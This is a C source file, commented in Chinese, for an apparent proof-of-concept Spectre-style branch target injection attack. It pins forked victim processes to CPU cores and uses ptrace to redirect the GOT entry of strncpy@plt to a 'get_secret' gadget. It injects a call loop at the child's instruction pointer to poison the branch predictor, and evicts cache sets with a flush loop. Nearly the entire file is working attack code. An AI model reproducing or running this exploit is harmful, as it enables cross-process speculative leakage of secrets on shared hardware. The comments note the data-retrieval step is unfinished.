#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define __USE_GNU
#include <sched.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/reg.h>
#include <sys/mman.h>

#define MAXIMUM_CONCURRENT_THREAD_NUM  8 

u_int32_t cache_set_mask = 0;

void parse_l1cache_topology() {
    u_int32_t eax, ebx, ecx, edx;
    u_int32_t cache_type, cache_line_size, cache_ways, cache_set_num, associated_group_type;
    __asm__  ("movl $0x04,%%eax\n\t"    \
                        "movl $0x00,%%ecx\n\t"    \ 
                        "cpuid;\n\t"         \
                        :"=a" (eax),"=b" (ebx),"=c" (ecx),"=d" (edx):);
    
    cache_type         = eax & 0x1F;  //1 = Data Cache, 2 = Instruction Cache, 3 = Unified Cache
    cache_line_size = (ebx & 0xFFF) + 1;
    cache_ways        = ((ebx & 0xFFC00000) >> 22) + 1;
    cache_set_num = ecx +  1;
    associated_group_type = (edx & 0x04) >> 2; //0 = Direct mapped cache, 1 = A complex function is used to index the cache, potentially using all address bits
    printf("\n\rcache_type:%d, cache_line_size:%d,cache_ways:%d,cache_set_num:%d,associated_group_type:%d\n\r", 
                 cache_type, cache_line_size, cache_ways, cache_set_num, associated_group_type);
    //这里只考虑了组关联模式的缓存
    if (cache_ways) {
        cache_set_mask = ~(cache_line_size-1) & 0xFFF;        
    }
    else {
        fail_trace("Not group associated cache,you should parse it by yourself.\n\r ");
    }
    printf("cache_set_mask: %08lx\n\r", cache_set_mask);    
}

void fail_trace(char *reason){
    fprintf(stderr, "failed reason: %s \n\r", reason);
    exit(EXIT_FAILURE);
}

int32_t str_to_num(char *str)
{
  char *p;
  int32_t result;

  if (strncmp(str, "0x", 2) == 0) {
    result = strtoul(str + 2, &p, 16);
  }
  else if (strncmp(str, "0", 1) == 0) {
    result = strtoul(str + 1, &p, 8);
  }
  else {
    result = strtol(str, &p, 10);
  }

  if ((p != NULL) && (*p != '\0')) {
    fail_trace("str_to_num");
  }
  return result;
}

void cache_set_flush(void *ptr) {
    char *virt_space = NULL;
    if (virt_space == NULL) {
        /* 在进程地址空间中，获取一块空闲的可用的虚拟地址空间 */
        virt_space = mmap(NULL, 0x1000000,  PROT_READ, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
        if(virt_space == MAP_FAILED){
            fail_trace("mmap");
        }
    }

    u_int64_t cache_set_index = ((unsigned long) ptr) & cache_set_mask;  //取高6位(111111000000b)，确定cache-set，index相同的cache-line组成一个cache-set
    volatile char *cache_line_p = virt_space + cache_set_index;
    for (int i = 0; i < 1000; i++) {       
        *cache_line_p;                    //替换该cache-set中所有的cache_line，实现对got_item的evict
        cache_line_p += 0x1000;
    }
}

void setcpu(int cpu){
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(cpu, &mask);
    sched_setaffinity(getpid() , sizeof(mask), &mask);
}

void branch_target_inject(pid_t pid, u_int64_t plt_item , u_int64_t* got_item, u_int64_t gadget) {
    struct user_regs_struct regs;
    u_int32_t r_offset;
    u_int64_t rip;      
    ptrace(PTRACE_GETREGS,  pid, 0, &regs);          //读取通用寄存器的值
    rip = regs.rip;                                                                 //读取当前指令寄存器的位置
    r_offset = ptrace(PTRACE_PEEKDATA, pid, plt_item+2, 0);   //读取该间接跳转的operand值
   /*
     * got表项地址赋值给got_item
     * got_item = plt_item + r_offset + 6
     * 例如plt_item第一条指令: ff 25 e2 2f 00 00   jmpq   *0x2fe2(%rip))，这是一个间接跳转指令
     * r_offset = 2fe2, 指令长度=6，因此plt_item + r_offset + 6就是对应的got_item的地址;
     * 下面会将get_secret方法的地址写入该got_item，这样exploit里的strncpy@plt执行的就是get_secret方法了，
     * 然后再将exploit里的get_secret方法的第一条指令修改为ret指令，这样expoit里的
   */
    *got_item = plt_item + r_offset + 6;   
    
    ptrace(PTRACE_POKEDATA, pid, *got_item, gadget);     //gadget(get_secret)地址写入got位置，间接分支目标预测器将以此作为目标地址，预测执行
    ptrace(PTRACE_POKEDATA, pid, gadget, 0xc3);                //gadget地址处写入ret指令，这样形成一个间接调用的内循环，以此塞满BHB和IBTB buffer，已达到分支毒化目的

   /* 
        下面的代码就是victim和exploit创建的子进程(victim)在正常下调用strncpy的代码，关于对DSO对象的访问及PLT(延迟加载)在另一篇文章有详解
        0000000000401030 <strncpy@plt>:
            401030:	ff 25 e2 2f 00 00    	jmpq   *0x2fe2(%rip)        # 404018 <strncpy@GLIBC_2.2.5>
            401036:	68 00 00 00 00       	 pushq  $0x0
            40103b:	e9 e0 ff ff ff       	    jmpq   401020 <.plt>


       下面的循环代码要被注入到exploit的子进程victim的当前运行rip位置处，
       当exploit.victim进程再次调度运行的后，进行如下的操作：
       1. 将strncpy@plt的地址传入%eax中
       2. 通过%rax间接调用strncpy@plt并将下一条指令的地址入栈(jmp 5 这条指令的地址入栈)
       3. 执行0x401030地址处的jmpq   *0x2fe2(%rip)间接跳转指令，上面的ptrace已经将其对应的got_item表项存储的目标地址修改为get_secret地址了
       4. 执行get_secet代码段，上面的ptrace已经将get_secret的第一条指令修改为ret指令了，所以执行ret，pop rip，这时的rip指向下面的jmp 5这个跳转指令。
       5. 跳回来再次运行callq  *%rax，形成循环调用strncpy@plt，以此达到毒化strncpy@plt中第一条间接跳转指令

       这里的injected_loop代码段的虚拟地址仅仅用来举例说明的，具体的地址有exploit.victim当前运行的rip决定
        0000000000000000 <injected_loop>:
            0:	b8 30 10 40 00       	mov    $0x401030,%eax         //$0x401030就是strncpy@plt的虚拟地址，具体的值来自于plt_item
            5:	ff d0                	         callq  *%rax
            7:	eb fc                	         jmp    5 <gadget+0x5>
    */

   __u_char injected_codes[16];
   //mov strncpy@plt,%eax
   injected_codes[0] = 0xb8;
   injected_codes[1] = plt_item & 0xff;
   injected_codes[2] = (plt_item & 0xff00) >> 8;
   injected_codes[3] = (plt_item & 0xff0000) >> 16;
   injected_codes[4] = (plt_item & 0xff000000) >> 24;
   //call * %rax
   injected_codes[5] = 0xff;
   injected_codes[6] = 0xd0;
   // jmp back(-4)
   injected_codes[7] = 0xeb;
   injected_codes[8] = 0xfc;   //r-offset = -4 这里为什么是-4而不是-9呢，因为这里的eax一旦被设置，其后面的循环跳转是不会改变它的值的。

    
    /* 下面代码执行poison功能，也就是要被渗透的victim进程的strncpy@plt处的"jmpq   *0x2fe2(%rip)"，这个间接跳转要被poisoned并speculative execute，
         因为exploit fork的victim子进程会循环调用sprintf@plt处指令(因为父进程exploit通过ptrace方法修改了strncpy对应的的.got.plt表项(gagdet的地址))，
         这样就和要被毒化的victim进程运行在同一个core上，exploit.victim子进程，就会populated all BHB and IBTB，因为这两个victim进程执行strncpy@plt
         的虚拟地址都是一样的，所以当要被渗透的victim执行strncpy@plt时，BPU通过BHB和IBTB得到的target addr就是get_secret的虚拟地址，这样预测执行的
         就是自己地址空间的get_secret方法了，这样会导致敏感数据被加载到内存中，至于exploit怎么获得这个数据目前还没有想出来更好的办法，参考文档里举例KVM
         目前还没研究，以后看到那块把这部分再补上吧。
    */   
    u_int32_t  pokedata = *((u_int32_t *)injected_codes);
    ptrace(PTRACE_POKEDATA, pid, rip, pokedata);           //mov strncpy@plt,%eax
    pokedata = *((u_int32_t *)(injected_codes+4));         
    ptrace(PTRACE_POKEDATA, pid, rip + 4, pokedata);   //call *%rax
    pokedata = *((u_int32_t *)(injected_codes+8));            //jmp back
    ptrace(PTRACE_POKEDATA, pid, rip + 8, pokedata);
    ptrace(PTRACE_DETACH, pid, 0, 0);                   //让子进程继续运行，不过这时子进程运行的是注入的代码
}

void start_poison_process(char *exec_file, u_int64_t plt_item, u_int64_t *got_item,  u_int64_t gadget,  int apic_id){
    pid_t pid;
    int result;
    int state;

    pid = fork();
    if(pid == -1){
        fail_trace("fork");
    }

    if(pid == 0){
        setcpu(apic_id);   //设置子进程运行在指定的core上
        //这里开启的子进程can be traced功能，子进程每次进行系统调用的话，就会向父进程发送SIGTRAP信号，父进程可以操纵自己的context.
        result = ptrace(PTRACE_TRACEME, 0, 0, 0);  
        if(result == -1){
            fail_trace("ptrace");
        }
        execl(exec_file, exec_file, "凹凸man", 0);    //子进程中启动victim，该系统调用完成后会向父进程发送SIGTRAP，同时暂停自己
    }

    waitpid(pid, &state, 0);                         //捕获子进程发出的SIGTRAP信号，获得子进程的控制权    
    branch_target_inject(pid, plt_item, got_item, gadget);
    printf("core[%d]: got_item has been redirect to %x\n\r",  apic_id,  *got_item);
}

void start_evict_process(void * got_item){
    pid_t pid;
    pid = fork();
    if(pid == 0){
        for(;;) cache_set_flush(got_item);
    }
}

/**
 * Params synopsis 
 * @param1: exec_file (victim)
 * @param2: plt_item Poisoned branch addr(strncpy@plt)
 * @param3: gadget (Code defined in Victim maybe result in potential leak called by predictor with poisoned branch)
*/
int main(int argc, char *argv[]){
    char *exec_file;    
    u_int64_t plt_item;
    u_int64_t got_item;
    u_int64_t gadget;        

    if(argc != 4){
        fprintf(stderr, "Usage: %s param1,param2,param3.  refer to main entry synopsis\n\r", argv[0]);
        exit(EXIT_FAILURE);
    }

    parse_l1cache_topology();
    exec_file = argv[1];                               //victim
    plt_item = str_to_num(argv[2]);      //strncpy@plt
    gadget    = str_to_num(argv[3]);      //get_secret

    for(int i= 0; i < MAXIMUM_CONCURRENT_THREAD_NUM; i++){
        start_poison_process(exec_file, plt_item, &got_item, gadget, i);  //毒化strncpy@plt中第一行的间接跳转指令，使其在预测执行的执行get_secret方法
        
    }
    start_evict_process((void *)got_item);       //刷新各级缓存中的got_item
    for(;;)pause();                           
    exit(EXIT_SUCCESS);
}
